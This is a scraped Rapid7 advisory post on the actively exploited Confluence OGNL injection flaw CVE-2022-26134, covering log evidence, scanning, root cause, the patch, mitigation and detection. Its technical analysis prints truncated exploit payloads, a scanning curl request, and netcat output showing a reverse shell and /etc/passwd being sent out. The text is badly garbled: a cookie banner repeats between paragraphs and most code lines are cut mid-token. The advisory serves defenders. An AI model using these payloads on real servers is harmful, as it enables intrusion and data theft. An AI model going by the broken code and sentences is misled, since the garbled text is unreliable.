Active Exploitation of Confluence CVE-2022-26134

Jun 02, 2022 | 11 min read | Rapid7

Last updated at Thu, 25 Jul 2024 19:25:16 GMT

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

Accept Cookies

Decline Cookies

Cookies Settings

are available.

CVE-2022-26134 is being actively and widely exploited in the wild. Rapid7's Managed Detection and Response (MDR) team has observed an uptick of likely exploitation of CVE-2022-26134 in customer environments as of June 3.

All supported versions of Confluence Server and Data Center are affected. Atlassian updated their advisory on June 3 to reflect that it's

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

version of Confluence, you should restrict or disable Confluence Server and Confluence Data Center instances immediately.

Technical analysis

CVE-2022-26314 is an unauthenticated and remote OGNL injection vulnerability resulting in code execution in the context of the Confluence server (typically the

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

maintaining an internet-facing Confluence or Data Server may want to consider permanently moving access behind a VPN.

The vulnerability

As stated, the vulnerability is an OGNL injection vulnerability affecting the HTTP server. The OGNL payload is placed in the URI of an HTTP request. Any type of HTTP method appears to work, whether valid (GET, POST, PUT, etc) or invalid (e.g. “BALH”). In its simplest form, an

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

```
${@java.lang.Runtime@getRunt
```

Evidence of exploitation can typically be found in access logs because the exploit is stored in the HTTP request field. For example, on our test Confluence (version 7.13.6 LTS), the log file `/opt/atlassian/confluence/logs/conf_access_log.<yyyy-mm-dd>.log` contains the following entry after exploitation:

```
[02/Jun/2022:16:02:13 -0700]
```

Scanning for vulnerable servers

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

Note the `X-Cmd-Response: confluence` line in the HTTP response:

```
curl -v http://10.0.0.28:809
*   Trying 10.0.0.28:8090...
* TCP_NODELAY set
* Connected to 10.0.0.28 (10
> GET /%24%7B%28%23a%3D%40or
> Host: 10.0.0.28:8090
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not support
< HTTP/1.1 302
< Cache-Control: no-store
< Expires: Thu, 01 Jan 1970
< X-Confluence-Request-Time:
< Set-Cookie: JSESSIONID=341
< X-XSS-Protection: 1; mode=
```

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

the output of the `exec` call and uses `setHeader` to include the result in the server's response to the attacker.

```
${(#a=@org.apache.commons.io
```

Root cause

Our investigation led to the following partial call stack. The call stack demonstrates the OGNL injection starting from `HttpServlet.service` to `OgnlValueStack.findValue` and beyond.

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

```
at com.opensymphony.xwork.De
at com.atlassian.confluence.
at com.opensymphony.xwork.De
at com.opensymphony.xwork.in
at com.opensymphony.xwork.De
at com.atlassian.xwork.inter
at com.atlassian.xwork.inter
at com.atlassian.xwork.inter
at com.opensymphony.xwork.De
at com.atlassian.confluence.
at com.opensymphony.xwork.De
at com.atlassian.confluence.
at com.opensymphony.xwork.De
at com.opensymphony.xwork.in
at com.opensymphony.xwork.De
at com.opensymphony.xwork.De
at com.atlassian.confluence.
at com.opensymphony.webwork.
at javax.servlet.http.HttpSe
```

`OgnlValueStack`

findValue(str) is important as

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

Select

START TRIAL

```
public class TextParseUtil {
    public static String tra
        StringBuilder sb = n
        Pattern p = Pattern.
        Matcher m = p.matche
        int previous = 0;
        while (m.find()) {
            String str1, g =
            int start = m.st
            try {
                Object o = s
                str1 = (o ==
            } catch (Excepti
                str1 = "";
            }
            sb.append(expres
            previous = m.end
        }
        if (previous < expre
            sb.append(expres
        return sb.toString()
    }
```

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

```
    OgnlValueStack stack = A
    String finalNamespace =
    String finalActionName =
```

Where `namespace` is created from the request URI string in `com.opensymphony.webwork.dispatcher.ServletDispatcher.getNamespac`

```
public static String getName
    servletPath = servletPat
    return servletPath;
}
```

The result is that the attacker-provided URI will be translated into a namespace, which will then find its way down to OGNL expression evaluation. At a high level, this is very similar to CVE-

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

newly released `xwork-1.0.3-atlassian-10.jar`. The xwork jars contain the `ActionChainResult.class` and `TextParseUtil.class` we identified as the path to OGNL expression evaluation.

The patch makes a number of small changes to fix this issue. For one, `namespace` is no longer passed down to `TextParseUtil.translateVariables` from `ActionChainResult.execute`:

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

```
    String finalNamespace =
    String finalActionName =
```

Atlassian also added `SafeExpressionUtil.class` to the `xworks` jar. `SafeExpressionUtil.class` provides filtering of unsafe expressions and has been inserted into `OgnlValueStack.class` in order to examine expressions when `findValue` is invoked. For example:

```
  public Object findValue(St
    try {
```

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

webshells being dropped to disk. However, Confluence Server should typically execute as `confluence` and not `root`. The `confluence` user is fairly restricted and unable to introduce web shells (to our knowledge).

Java does otherwise provide a wide variety of features that aid in achieving and maintaining execution (both with and without touching disk). It's impossible to demonstrate all

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

```
${new javax.script.ScriptEng
```

And results in a reverse shell:

```
albinolobster@ubuntu:~$ nc -
Listening on 0.0.0.0 1270
Connection received on 10.0.
bash: cannot set terminal pr
bash: no job control in this
bash: /root/.bashrc: Permiss
confluence@ubuntu:/opt/atlas
id
uid=1001(confluence) gid=100
confluence@ubuntu:/opt/atlas
```

Of course, shelling out can be highly risky for attackers if the victim is running some type of threat detection software. Executing in memory only is

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

see that we again have relied on the Nashorn scripting engine.

```
${new javax.script.ScriptEng
```

Again, the attacker is listening for the exfiltration which looks, as you'd expect, like `/etc/passd`:

```
albinolobster@ubuntu:~$ nc -
Listening on 0.0.0.0 1270
Connection received on 10.0.
root:x:0:0:root:/root:/bin/b
daemon:x:1:1:daemon:/usr/sbi
bin:x:2:2:bin:/bin:/usr/sbin
sys:x:3:3:sys:/dev:/usr/sbin
sync:x:4:65534:sync:/bin:/bi
games:x:5:60:games:/usr/game
```

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

Mitigation guidance

Atlassian released patches for CVE-2022-26134 on June 3, 2022. A full list of fixed versions is available in the advisory. A temporary workaround for CVE-2022-26134 is also available—note that the workaround must be manually applied. Detailed instructions are available in Atlassian's advisory for applying the workaround to Confluence Server and Data

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

Confluence Data Center instances immediately. We recommend that all organizations consider implementing IP address safelisting rules to restrict access to Confluence.

If you are unable to apply safelist IP rules to your Confluence server, consider adding WAF protection. Based on the details published so far, we recommend adding Java deserialization rules that defend

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

Rapid7 customers

InsightVM and Nexpose:

Customers can assess their exposure to CVE-2022-26134 with two unauthenticated vulnerability checks as of June 3, 2022:

- A remote check (atlassian-confluence-cve-2022-26134-remote) available in the 3:30 PM EDT content-only release on June 3

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

generated by the following rules may be indicative of related malicious activity:

- Confluence Java App Launching Processes

The Rapid7 MDR (Managed Detection & Response) SOC is monitoring for this activity and will escalate confirmed malicious activity to managed customers immediately.

tCell: Customers leveraging the Java App Server Agent can

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

This blog has been updated to reflect that all supported versions of Confluence Server and Confluence Data Center are affected, and it's likely that **all versions** (including LTS and unsupported) are affected, but Atlassian has not yet determined the earliest vulnerable version.

June 3, 2022 11:45 AM EDT: Atlassian has released a temporary workaround for CVE-2022-26134. The workaround must be manually applied

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

fixed versions is available in their advisory. Rapid7 recommends applying patches OR the temporary workaround (manual) on an **emergency basis.**

June 3, 2022 3:15 PM EDT: A full technical analysis of CVE-2022-26134 has been added to this blog to aid security practitioners in understanding and prioritizing this vulnerability. A vulnerability check for InsightVM and Nexpose

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

June 6, 2022 10 AM EDT: A second content release went out the evening of Friday, June 3 containing a remote version check for CVE-2022-26134. This means InsightVM and Nexpose customers are able to assess their exposure to CVE-2022-26134 with two unauthenticated vulnerability checks.

Attacker activity targeting on-premise instances of Confluence Server and Confluence Data Center has

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

Select

START TRIAL

Download Rapid7's Annual Vulnerability Intelligence Report ▶

NEVER MISS A BLOG

Get the latest stories, expertise, and news about security today.

SUBSCRIBE

POST TAGS

Emergent Threat Response

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

VIEW RAPID7'S POSTS

Topics

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

Metasploit | Metasploit Weekly Wrapup | Vulnerability Management | Research | Logentries | Detection and Response

Related Posts

Fortinet FortiManager CVE-2024-47575 Exploited in Zero-Day Attacks READ MORE

Multiple Vulnerabilities in Common Unix Printing System (CUPS) READ MORE

High-Risk Vulnerabilities in Common Enterprise Technologies READ MORE

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

Select

START TRIAL

EMERGENT TH...

Fortinet FortiManager CVE-2024-47575

READ FULL POST

EMERGENT TH...

Multiple Vulnerabilities in Common Unix

READ FULL POST

EMERGENT TH...

High-Risk Vulnerabilities in Common

READ FULL POST

EMERGENT TH...

CVE-2024-40766: Critical Improper Access Control

READ FULL POST

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

Select

START TRIAL

GET HELP

SUPPORT & RESOURCES

Product Support

Resource Library

Our Customers

Events & Webcasts

Training & Certification

Cybersecurity Fundamentals

Vulnerability & Exploit Database

ABOUT US

Company

Diversity, Equity, and Inclusion

Leadership

News & Press Releases

Public Policy

Open Source

Investors

CONNECT WITH US

Contact

Blog

Support Login

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**

Select

START TRIAL

Rapid7 uses cookies and similar technologies as strictly necessary to make our site work. We and our partners would also like to set additional cookies to analyze your use of our site, to personalize and enhance your visit to our site and to show you more relevant content and advertising. These will be set only if you accept.

You can always review and change your cookie preferences through our cookie settings page. For more information, please read our **Privacy Statement**